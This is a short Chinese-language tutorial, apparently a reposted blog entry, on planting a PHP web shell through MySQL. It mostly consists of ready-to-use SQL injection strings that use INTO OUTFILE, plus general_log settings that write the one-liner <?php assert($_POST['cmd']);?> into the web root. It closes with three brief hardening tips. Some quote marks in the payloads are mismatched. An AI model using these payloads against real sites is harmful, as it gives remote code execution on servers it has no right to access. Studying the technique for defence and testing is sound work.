1. 程式人生 > >MySQL 寫一句話拿 WebShell

MySQL 寫一句話拿 WebShell

本文介紹兩種利用 MySQL getshell 的方法:

  • select … into outfile
  • general_log

一、select … into outfile 介紹

利用需要滿足以下條件:

  • 對web目錄有寫許可權
  • GPC關閉(能使用單引號)
  • 有絕對路徑(讀檔案可以不用,寫檔案必須)
  • 沒有配置 –secure-file-priv

姿勢:

  1. 有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>into outfile/home/wwwroot/lu4n.com/luan_phpinfo.
php’%23
  1. 無 union
id=2) into outfile/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by<?php assert($_POST["cmd"]);?>%23

其中 fields terminated by 是用來指定列之間分隔符,如果查詢結果為單列則不會插入分隔符,所以必須有多個列才能成功寫入一句話

二、general_log 介紹

利用需要滿足以下條件:

  • 對web目錄有寫許可權
  • GPC關閉(能使用單引號)
  • 有絕對路徑(讀檔案可以不用,寫檔案必須)
  • 需要能執行多行sql語句

姿勢:

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

設定了 general_loggeneral_log_file 之後所有SQL記錄都會寫入指定的檔案,所以會導致 log 檔案非常大,推薦只暫時開啟

需要注意的是 secure_file_priv 是隻讀屬性,如果試圖使用 set global 修改會報如下 Error

Error Code: 1238. Variable 'secure_file_priv'
is a read only

三、防禦姿勢

  1. 設定 **secure_file_prive = null ** (不允許匯入和匯出)
  2. 防止暴露網站絕對路徑
  3. 正確設定 web 目錄許可權,除 log、upload 等目錄外不授予寫許可權,upload 目錄不授予執行許可權